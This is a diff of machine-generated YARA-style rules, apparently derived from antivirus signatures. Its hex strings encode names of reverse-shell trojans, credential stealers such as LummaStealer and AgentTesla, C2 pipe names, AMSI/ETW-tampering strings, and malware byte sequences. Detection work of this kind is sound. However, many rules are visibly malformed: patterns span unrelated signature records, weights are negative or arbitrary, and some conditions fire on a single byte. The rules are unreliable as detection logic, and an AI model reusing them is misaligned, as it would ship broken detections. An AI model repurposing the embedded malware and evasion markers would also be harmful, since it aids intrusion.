00 09 80 01 4f 66 66 65 72 63 61 73 74 01 00 0c 80 01 6f 66 66 65 72 6c 69 73 74 2e 6a 73 01 00 07 80 01 41 73 6b 2e 63 6f 6d 00 00 78 81 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 52 32 30 } //29537 - $a_4d_3 = {42 00 05 00 4b 03 51 6a 40 68 90 02 04 8d 95 4c fd ff ff 52 8b 85 28 fd ff ff 89 85 34 fd ff ff 8b } //12594 + $a_5c_2 = {43 50 61 63 6b 65 72 2e 70 64 62 01 00 09 80 01 4f 66 66 65 72 63 61 73 74 01 00 0c 80 01 6f 66 66 65 72 6c 69 73 74 2e 6a 73 01 00 07 80 01 41 73 6b 2e 63 6f 6d 00 00 78 81 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 76 65 72 73 65 53 68 65 6c 6c 2e 43 43 4a } //29537 + $a_54_3 = {00 02 00 14 01 5c 5c 2e 5c 70 69 70 65 5c 41 67 65 6e 74 43 32 50 69 70 65 01 00 08 01 72 65 76 53 68 65 6c 6c 01 00 05 01 65 78 65 63 53 01 00 0e 01 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 01 00 0d 01 45 74 77 45 76 65 6e 74 57 } //8536 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26478+(#a_5c_2 & 1)*29537+(#a_4d_3 & 1)*12594) >=4 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26478+(#a_5c_2 & 1)*29537+(#a_54_3 & 1)*8536) >=4 } -rule _InfrastructureShared_8403{ +rule _InfrastructureShared_8912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 41 73 6b 54 6f 6f 6c 62 61 72 00 01 00 32 80 01 43 3a 5c 4a 65 6e 6b 69 6e 73 5c 77 6f 72 6b 73 70 61 63 65 5c 4f 43 33 2e 58 5c 4f 43 5c 52 65 6c 65 61 73 65 5c 4f 43 50 61 63 6b 65 72 2e 70 64 62 01 00 09 80 01 4f 66 66 65 72 63 61 73 } //20515 - $a_66_2 = {65 72 6c 69 73 74 2e 6a 73 01 00 07 80 01 41 73 6b 2e 63 6f 6d 00 00 78 81 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 52 32 30 32 31 21 4d 54 42 00 05 00 4b 03 51 6a 40 68 90 02 04 8d 95 4c fd ff ff 52 8b 85 28 fd ff ff 89 85 34 fd ff ff 8b 8d 34 fd ff ff } //384 - $a_02_3 = {04 ff 95 34 fd ff ff 6a 00 6a 00 6a 00 6a 00 6a 00 8d 8d 34 f9 ff ff 51 8d 95 4c fd ff ff 52 6a 00 6a 00 ff 15 90 00 00 00 78 81 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 4e 52 21 4d 54 42 00 03 00 25 01 83 e3 02 89 5e 28 89 df 83 f7 02 89 d0 83 f0 fd 29 d8 83 c0 02 89 c2 f7 d2 21 f8 8b 1e 83 cb fd 21 d3 89 7e 10 02 00 24 01 21 56 0c 31 d1 0f af 7e } //5631 + $a_66_2 = {65 72 6c 69 73 74 2e 6a 73 01 00 07 80 01 41 73 6b 2e 63 6f 6d 00 00 78 81 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 76 65 72 73 65 53 68 65 6c 6c 2e 43 43 4a 58 21 4d 54 42 00 02 00 14 01 5c 5c 2e 5c 70 69 70 65 5c 41 67 65 6e 74 43 32 50 69 70 65 01 00 08 01 72 65 76 53 68 65 6c 6c 01 } //384 + $a_65_3 = {65 } //1280 e condition: - ((#a_41_0 & 1)*20515+(#a_66_2 & 1)*384+(#a_02_3 & 1)*5631) >=4 + ((#a_41_0 & 1)*20515+(#a_66_2 & 1)*384+(#a_65_3 & 1)*1280) >=4 } -rule _InfrastructureShared_8404{ +rule _InfrastructureShared_8913{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 76 65 72 73 65 53 68 65 6c 6c 2e 43 43 4a 58 21 4d 54 42 00 02 00 14 01 5c 5c 2e 5c 70 69 70 65 5c 41 67 65 6e 74 43 32 50 69 70 65 01 00 08 01 72 65 76 53 68 65 } //21539 + $a_00_1 = {05 } //27756 + $a_65_2 = {53 01 00 0e 01 41 6d 73 69 53 63 61 6e 42 75 66 66 65 72 01 00 0d 01 45 74 77 45 76 65 6e 74 57 72 69 74 65 00 00 78 81 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 52 32 30 32 31 21 4d 54 42 00 05 00 4b 03 51 6a 40 68 90 02 04 8d 95 4c fd ff ff 52 8b 85 28 fd ff ff 89 85 34 fd ff ff } //25857 + $a_fd_3 = {ff ff 15 90 02 04 ff 95 34 fd ff ff 6a 00 6a 00 6a 00 6a 00 6a 00 8d 8d 34 f9 ff ff 51 8d 95 4c fd ff ff 52 6a 00 6a 00 ff 15 90 00 00 00 78 81 00 00 05 00 } //-29301 + $a_00_4 = {21 23 } //5 !# + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*27756+(#a_65_2 & 1)*25857+(#a_fd_3 & 1)*-29301+(#a_00_4 & 1)*5) >=4 + +} +rule _InfrastructureShared_8914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -89330,18 +94817,66 @@ rule _InfrastructureShared_8404{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_8405{ +rule _InfrastructureShared_8915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 4e 52 21 4d 54 42 00 03 00 25 01 83 e3 02 89 5e 28 89 df 83 f7 02 89 d0 83 f0 fd 29 d8 83 c0 02 89 c2 f7 d2 21 f8 8b 1e 83 cb fd 21 d3 89 7e 10 02 00 24 01 21 56 0c 31 } //18467 - $a_7e_1 = {8b 16 0f af 56 28 0f af d8 01 d3 01 fb 8b 46 0c 8d 04 41 8b 4e 20 29 d8 89 46 34 00 00 78 81 00 00 05 00 05 00 05 00 21 23 45 6d 75 6c 65 69 6e 73 74 61 6c 6c 65 72 00 01 00 14 00 65 00 4d 00 75 00 6c 00 65 00 20 00 48 00 61 00 73 00 68 00 01 00 20 00 4f 00 6e 00 6c 00 69 00 6e 00 65 00 2d 00 53 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 01 00 08 00 45 00 44 00 32 00 4b 00 01 00 12 00 28 00 6b 00 62 00 69 00 74 00 2f 00 73 00 29 00 2e 00 01 00 06 01 2e 55 70 61 63 6b 00 00 78 81 00 00 05 00 05 00 05 00 21 23 54 } //4049 + $a_7e_1 = {8b 16 0f af 56 28 0f af d8 01 d3 01 fb 8b 46 0c 8d 04 41 8b 4e 20 29 d8 89 46 34 00 00 78 81 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 41 21 4d 54 42 00 01 00 28 01 2e 72 64 61 74 61 00 00 00 10 00 00 00 30 0b 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 04 00 28 01 2e 74 65 78 74 00 00 00 c0 78 00 00 00 10 00 00 00 7a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 00 00 78 81 00 00 05 00 05 00 02 00 21 23 54 } //4049 condition: ((#a_54_0 & 1)*18467+(#a_7e_1 & 1)*4049) >=5 } -rule _InfrastructureShared_8406{ +rule _InfrastructureShared_8916{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 50 47 5a 41 21 4d 54 42 00 01 00 28 01 2e 72 64 61 74 61 00 00 00 10 00 00 00 30 0b 00 00 0e 00 00 00 80 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 } //21539 + $a_00_1 = {28 01 2e 74 } //24576 Ĩ琮 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*24576) >=5 + +} +rule _InfrastructureShared_8917{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 42 21 4d 54 42 00 02 00 38 01 48 8b d9 c7 44 24 30 30 33 6b 69 c7 44 24 34 73 39 32 63 c7 44 24 38 6c 3b 6b 77 c7 44 24 3c 73 6d 64 32 c7 44 24 40 } //21539 + $a_64_1 = {44 24 44 64 61 64 76 b9 18 00 00 00 03 00 19 01 0f b6 0c 3b 33 d2 48 8b c7 49 f7 f5 32 0c 32 88 0c 3b 48 ff c7 49 3b fc 72 00 00 78 81 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 35 00 02 00 10 80 01 75 70 31 2e 67 69 76 65 32 } //25700 + condition: + ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*25700) >=5 + +} +rule _InfrastructureShared_8918{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {41 64 77 61 72 65 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 61 77 34 35 00 02 00 10 80 01 75 70 31 2e 67 69 76 65 32 73 6d 73 2e 63 6f 6d 01 00 10 80 01 41 70 70 2f 75 70 61 70 70 2f 67 69 76 65 32 32 01 00 11 80 01 61 67 } //16675 + $a_6f_1 = {5f 63 6f 75 6e 74 2e 70 68 70 01 00 13 80 01 48 69 53 61 6e 74 61 4e 6f 74 69 66 69 65 72 2e 70 64 62 00 00 78 81 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 41 41 21 64 68 61 00 01 00 0a 01 54 4d 52 5f 45 6e 67 69 6e 65 01 00 0d 01 54 4d 52 5f 4b 65 65 70 } //25183 + $a_76_2 = {01 00 0e 01 54 4d 52 5f 50 69 6e 67 53 79 73 74 65 6d 01 00 0b 01 54 4d 52 5f 50 69 6e 67 4e 65 74 01 00 0e 01 54 4d 52 5f 43 68 65 63 6b 45 76 65 6e 74 00 00 78 81 00 00 05 00 05 00 05 00 21 23 45 6d 75 6c 65 69 6e 73 74 61 6c 6c 65 72 00 01 00 14 00 65 00 4d 00 75 00 6c 00 65 00 20 00 48 00 61 00 73 00 68 00 01 } //27713 + condition: + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25183+(#a_76_2 & 1)*27713) >=5 + +} +rule _InfrastructureShared_8919{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 46 72 6f 73 74 79 53 74 61 73 68 2e 41 41 21 64 68 61 00 01 00 0a 01 54 4d 52 5f 45 6e 67 69 6e 65 01 00 0d 01 54 4d 52 5f 4b 65 65 70 41 6c 69 76 65 01 00 0e 01 54 4d 52 5f 50 69 6e 67 } //16675 + $a_74_1 = {6d 01 00 0b 01 54 4d 52 5f 50 69 6e 67 4e 65 74 01 00 0e 01 54 4d 52 5f 43 68 65 63 6b 45 76 65 6e 74 00 00 78 81 00 00 05 00 05 00 05 00 21 23 45 6d 75 6c 65 69 6e 73 74 61 6c 6c 65 72 00 01 00 14 00 65 00 4d 00 75 00 6c 00 65 00 20 00 48 00 61 00 73 00 68 00 01 00 20 00 4f 00 6e 00 6c 00 69 00 6e 00 65 00 2d 00 53 00 69 00 67 00 6e 00 61 00 } //31059 + $a_00_2 = {72 00 65 00 01 00 08 00 45 00 44 00 32 00 4b 00 01 00 12 00 28 00 6b 00 62 00 69 00 74 00 2f 00 73 00 29 00 2e 00 01 00 06 01 2e 55 70 61 63 6b 00 00 78 81 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 50 55 41 3a 57 69 6e 33 32 2f 75 46 69 6c 65 72 00 01 00 16 80 01 63 6f 6d 2e 65 6d 62 61 72 63 61 64 65 72 6f 2e 75 46 69 6c 65 72 01 00 13 80 01 68 74 } //116 + $a_3a_3 = {2f 75 66 69 6c 65 72 2e 70 72 6f 2f 01 00 0d 80 01 75 46 69 6c 65 72 42 72 6f 77 73 65 72 01 00 0a 80 01 74 6f 72 72 65 6e 74 75 72 6c 01 00 09 80 01 79 61 6e 64 65 78 2e 72 75 00 00 78 81 00 00 06 00 06 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 56 69 64 61 72 2e 4e 4e 41 21 4d 54 42 00 05 00 41 03 20 2e 12 0a 0d 61 20 90 } //28788 + $a_58_4 = {01 7d 90 01 03 04 fe 90 01 02 00 7b 90 01 03 04 39 90 01 03 00 20 90 01 03 ff 65 20 90 01 03 00 63 38 90 01 03 00 20 90 01 03 05 65 20 90 01 03 fa 61 90 00 01 00 10 01 73 74 61 6e 64 73 70 65 63 69 61 6c 69 7a 65 64 00 00 78 81 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 4e 43 43 49 43 5f 74 72 75 73 74 65 64 5f 2f 41 50 54 5f 48 69 64 64 65 6e 43 6f 62 72 61 5f 69 6d 70 6f 72 74 5f 6f 62 66 75 73 63 61 74 69 6f 6e 5f 32 00 01 00 0b 01 a6 d6 02 eb 4e b2 41 eb c3 ef 1f 01 00 06 01 b6 df 01 fd 48 b5 01 00 06 01 b6 d5 0e f3 4e b5 01 00 04 01 b7 df 0e ee 01 00 04 01 b6 df 03 fc 01 00 04 01 a7 d3 03 fc 00 00 78 81 00 00 06 00 06 00 06 00 21 23 } //769 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31059+(#a_00_2 & 1)*116+(#a_3a_3 & 1)*28788+(#a_58_4 & 1)*769) >=5 + +} +rule _InfrastructureShared_8920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -89355,7 +94890,7 @@ rule _InfrastructureShared_8406{ ((#a_75_0 & 1)*17699+(#a_61_1 & 1)*21806+(#a_6e_2 & 1)*29298+(#a_65_3 & 1)*769+(#a_46_4 & 1)*25927) >=5 } -rule _InfrastructureShared_8407{ +rule _InfrastructureShared_8921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -89369,7 +94904,7 @@ rule _InfrastructureShared_8407{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*3328+(#a_90_2 & 1)*26111+(#a_69_3 & 1)*25968+(#a_48_4 & 1)*479) >=5 } -rule _InfrastructureShared_8408{ +rule _InfrastructureShared_8922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -89380,7 +94915,7 @@ rule _InfrastructureShared_8408{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28616) >=6 } -rule _InfrastructureShared_8409{ +rule _InfrastructureShared_8923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -89394,7 +94929,7 @@ rule _InfrastructureShared_8409{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*479+(#a_33_2 & 1)*6740+(#a_9c_4 & 1)*5669+(#a_02_5 & 1)*1025) >=6 } -rule _InfrastructureShared_8410{ +rule _InfrastructureShared_8924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -89409,7 +94944,7 @@ rule _InfrastructureShared_8410{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_81_3 & 1)*0+(#a_00_4 & 1)*1+(#a_81_5 & 1)*0) >=6 } -rule _InfrastructureShared_8411{ +rule _InfrastructureShared_8925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -89422,7 +94957,7 @@ rule _InfrastructureShared_8411{ ((#a_77_0 & 1)*27683+(#a_6b_1 & 1)*30054+(#a_49_3 & 1)*6656+(#a_00_5 & 1)*85) >=6 } -rule _InfrastructureShared_8412{ +rule _InfrastructureShared_8926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 21 " @@ -89433,7 +94968,7 @@ rule _InfrastructureShared_8412{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*81) >=7 } -rule _InfrastructureShared_8413{ +rule _InfrastructureShared_8927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -89443,7 +94978,7 @@ rule _InfrastructureShared_8413{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8414{ +rule _InfrastructureShared_8928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -89453,30 +94988,18 @@ rule _InfrastructureShared_8414{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_8415{ +rule _InfrastructureShared_8929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 44 44 32 30 36 21 4d 54 42 00 0a 00 24 02 07 08 06 08 18 5a 18 6f 90 01 04 1f 10 28 90 01 04 9c 00 08 17 58 0c 08 20 00 dc 00 00 fe 04 0d 09 2d 90 00 0a 00 23 02 07 08 06 } //18467 - $a_18_1 = {90 01 04 1f 10 28 90 01 04 9c 08 17 58 0c 08 20 00 dc 00 00 fe 04 0d 09 2d 90 00 00 00 78 81 00 00 0a 00 0a 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 74 72 61 70 73 2e 50 47 41 21 4d 54 42 00 05 00 2c 03 06 39 ae 00 00 00 06 6f 90 01 01 00 00 0a } //6152 + $a_18_1 = {90 01 04 1f 10 28 90 01 04 9c 08 17 58 0c 08 20 00 dc 00 00 fe 04 0d 09 2d 90 00 00 00 78 81 00 00 0c 00 0c 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 41 59 21 4d 54 42 00 0a 00 3e 01 0b 16 0c 38 36 00 00 00 02 08 6f 14 00 00 } //6152 condition: ((#a_54_0 & 1)*18467+(#a_18_1 & 1)*6152) >=10 } -rule _InfrastructureShared_8416{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 74 72 61 70 73 2e 50 47 41 21 4d 54 42 00 05 00 2c 03 06 39 ae 00 00 00 06 6f 90 01 01 00 00 0a 0b 16 0c 38 97 00 00 00 07 08 9a 0d 06 09 6f 90 01 01 00 00 0a 25 2d 04 } //21539 - $a_05_1 = {90 00 03 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 02 00 0e 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 00 } //5158 - $a_00_2 = {00 0c 00 0c 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 52 61 74 2e 4e 45 41 59 21 4d 54 42 00 0a 00 3e 01 0b 16 0c 38 36 00 00 00 02 08 6f 14 00 00 0a 0d 09 06 08 59 61 d2 13 04 09 1e 63 08 61 d2 13 05 07 08 11 05 1e 62 11 04 60 d1 9d 08 17 58 0c 08 07 8e 69 38 0b 00 00 00 28 38 00 00 0a 2a 02 00 12 01 50 6f 77 65 72 53 68 65 6c 6c 2d 57 72 61 70 70 65 72 00 } //30720 - condition: - ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*5158+(#a_00_2 & 1)*30720) >=10 - -} -rule _InfrastructureShared_8417{ +rule _InfrastructureShared_8930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -89487,7 +95010,7 @@ rule _InfrastructureShared_8417{ ((#a_46_0 & 1)*16675+(#a_07_1 & 1)*3160) >=12 } -rule _InfrastructureShared_8418{ +rule _InfrastructureShared_8931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -89499,7 +95022,7 @@ rule _InfrastructureShared_8418{ ((#a_46_0 & 1)*16675+(#a_23_1 & 1)*-18842+(#a_20_2 & 1)*29554) >=12 } -rule _InfrastructureShared_8419{ +rule _InfrastructureShared_8932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -89510,7 +95033,7 @@ rule _InfrastructureShared_8419{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*384) >=12 } -rule _InfrastructureShared_8420{ +rule _InfrastructureShared_8933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 02 00 02 00 21 " @@ -89521,7 +95044,7 @@ rule _InfrastructureShared_8420{ ((#a_72_0 & 1)*22051+(#a_00_1 & 1)*32) >=2 } -rule _InfrastructureShared_8421{ +rule _InfrastructureShared_8934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 04 00 21 " @@ -89534,7 +95057,7 @@ rule _InfrastructureShared_8421{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25449+(#a_0a_2 & 1)*25712+(#a_57_3 & 1)*28257) >=21 } -rule _InfrastructureShared_8422{ +rule _InfrastructureShared_8935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,28 00 28 00 04 00 21 " @@ -89547,7 +95070,7 @@ rule _InfrastructureShared_8422{ ((#a_4e_0 & 1)*20259+(#a_70_1 & 1)*31085+(#a_00_2 & 1)*100+(#a_5f_3 & 1)*108) >=40 } -rule _InfrastructureShared_8423{ +rule _InfrastructureShared_8936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " @@ -89558,7 +95081,7 @@ rule _InfrastructureShared_8423{ ((#a_6f_0 & 1)*21539+(#a_00_2 & 1)*0) >=100 } -rule _InfrastructureShared_8424{ +rule _InfrastructureShared_8937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89568,7 +95091,7 @@ rule _InfrastructureShared_8424{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8425{ +rule _InfrastructureShared_8938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89578,7 +95101,7 @@ rule _InfrastructureShared_8425{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8426{ +rule _InfrastructureShared_8939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89588,7 +95111,7 @@ rule _InfrastructureShared_8426{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8427{ +rule _InfrastructureShared_8940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89598,7 +95121,7 @@ rule _InfrastructureShared_8427{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8428{ +rule _InfrastructureShared_8941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89608,7 +95131,7 @@ rule _InfrastructureShared_8428{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8429{ +rule _InfrastructureShared_8942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89618,7 +95141,7 @@ rule _InfrastructureShared_8429{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8430{ +rule _InfrastructureShared_8943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89628,7 +95151,7 @@ rule _InfrastructureShared_8430{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8431{ +rule _InfrastructureShared_8944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89638,7 +95161,7 @@ rule _InfrastructureShared_8431{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8432{ +rule _InfrastructureShared_8945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89648,7 +95171,7 @@ rule _InfrastructureShared_8432{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8433{ +rule _InfrastructureShared_8946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89658,7 +95181,7 @@ rule _InfrastructureShared_8433{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8434{ +rule _InfrastructureShared_8947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89668,7 +95191,7 @@ rule _InfrastructureShared_8434{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8435{ +rule _InfrastructureShared_8948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89678,7 +95201,17 @@ rule _InfrastructureShared_8435{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8436{ +rule _InfrastructureShared_8949{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 44 6f 72 69 66 65 6c 2e 47 56 41 31 00 01 00 5c 02 48 8b 40 60 48 8b 4c 24 20 0f b7 04 48 85 c0 74 35 48 83 7c 24 20 3f 73 2d 48 8b 84 24 90 01 04 48 8b 40 60 48 8b 4c 24 20 48 8b 54 24 20 0f b6 04 50 88 44 0c 30 48 8b 44 24 20 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=1 + +} +rule _InfrastructureShared_8950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89688,7 +95221,7 @@ rule _InfrastructureShared_8436{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8437{ +rule _InfrastructureShared_8951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89698,7 +95231,7 @@ rule _InfrastructureShared_8437{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8438{ +rule _InfrastructureShared_8952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89708,7 +95241,7 @@ rule _InfrastructureShared_8438{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8439{ +rule _InfrastructureShared_8953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -89718,17 +95251,7 @@ rule _InfrastructureShared_8439{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8440{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 70 79 2e 43 61 73 62 61 6e 65 69 72 6f 2e 47 41 21 4d 54 42 00 01 00 4d 02 8b 45 0c 83 e8 02 74 21 2d 10 01 00 00 75 23 8b 45 14 50 8b 45 10 50 8b 45 0c 50 8b 45 08 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=1 - -} -rule _InfrastructureShared_8441{ +rule _InfrastructureShared_8954{ meta: description = 